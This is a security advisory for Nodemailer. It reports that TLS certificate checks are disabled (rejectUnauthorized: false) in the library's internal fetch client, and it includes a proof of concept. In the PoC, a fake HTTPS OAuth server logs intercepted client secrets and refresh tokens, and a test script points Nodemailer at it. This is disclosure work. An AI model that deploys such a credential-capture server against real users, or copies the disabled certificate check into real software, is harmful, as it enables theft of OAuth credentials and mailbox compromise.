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GHSA-r7g4-qg5f-qqm2
No affected components available
Summary
Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.
As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.
An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:
- OAuth client_secret
- refresh_token
- access tokens
The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.
Details
Root Cause
The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.
Inside:
lib/fetch/index.js
the request options contain:
rejectUnauthorized: false
This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.
As a result:
- self-signed certificates are trusted
- invalid CA chains are accepted
- hostname validation is bypassed
- attacker-controlled HTTPS endpoints are treated as trusted
This violates expected HTTPS security guarantees.
Vulnerable Flow
The vulnerable execution chain is:
OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted
PoC
Environment
Mail API (app/server.js)
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();
const app = express();
app.use(express.json());
const transporter = nodemailer.createTransport({
host: process.env.SMTP_HOST,
port: process.env.SMTP_PORT,
secure: false,
auth: {
user: process.env.SMTP_USER,
pass: process.env.SMTP_PASS
}
});
app.post("/send", async (req, res) => {
try {
const { to, subject, text, html } = req.body;
const info = await transporter.sendMail({
from: `"Mailer" <${process.env.SMTP_USER}>`,
to,
subject,
text,
html
});
res.json({
success: true,
messageId: info.messageId
});
} catch (err) {
console.error(err);
res.status(500).json({
success: false,
error: err.message
});
}
});
app.listen(process.env.PORT, () => {
console.log(`Mailer running on port ${process.env.PORT}`);
});
Malicious HTTPS OAuth Server (poc/evil-oauth.js)
const https = require('https');
const fs = require('fs');
https.createServer({
key: fs.readFileSync('./key.pem'),
cert: fs.readFileSync('./cert.pem')
}, (req, res) => {
console.log('\n==== REQUEST INTERCEPTED ====');
console.log(req.method, req.url);
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
console.log('\nPOST BODY:');
console.log(body);
res.writeHead(200, {
'Content-Type': 'application/json'
});
res.end(JSON.stringify({
access_token: 'attacker_token',
expires_in: 3600
}));
});
}).listen(8443, () => {
console.log('Malicious HTTPS OAuth server listening on 8443');
});
Nodemailer OAuth2 Test (test.js)
const nodemailer = require('./');
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
type: 'OAuth2',
user: 'redacted@example.com',
clientId: 'CLIENT_ID_REDACTED',
clientSecret: 'CLIENT_SECRET_REDACTED',
refreshToken: 'REFRESH_TOKEN_REDACTED',
accessUrl: 'https://localhost:8443/token'
}
});
transporter.sendMail({
from: 'redacted@example.com',
to: 'redacted@example.com',
subject: 'PoC',
text: 'test'
}, (err, info) => {
console.log('\n==== NODEMAILER RESULT ====');
if (err) {
console.error(err);
} else {
console.log(info);
}
});
Steps to Reproduce
- Start malicious HTTPS OAuth server:
- node poc/evil-oauth.js
- Run Nodemailer OAuth2 test:
- node test.js
- Observe intercepted OAuth2 request body on the malicious HTTPS server.
PIC <img width="1919" height="1029" alt="image" src="https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516" />
Impact
- OAuth credential theft
- unauthorized email access
- persistent token abuse
- unauthorized mail sending
- mailbox compromise
- interception/tampering of OAuth responses
The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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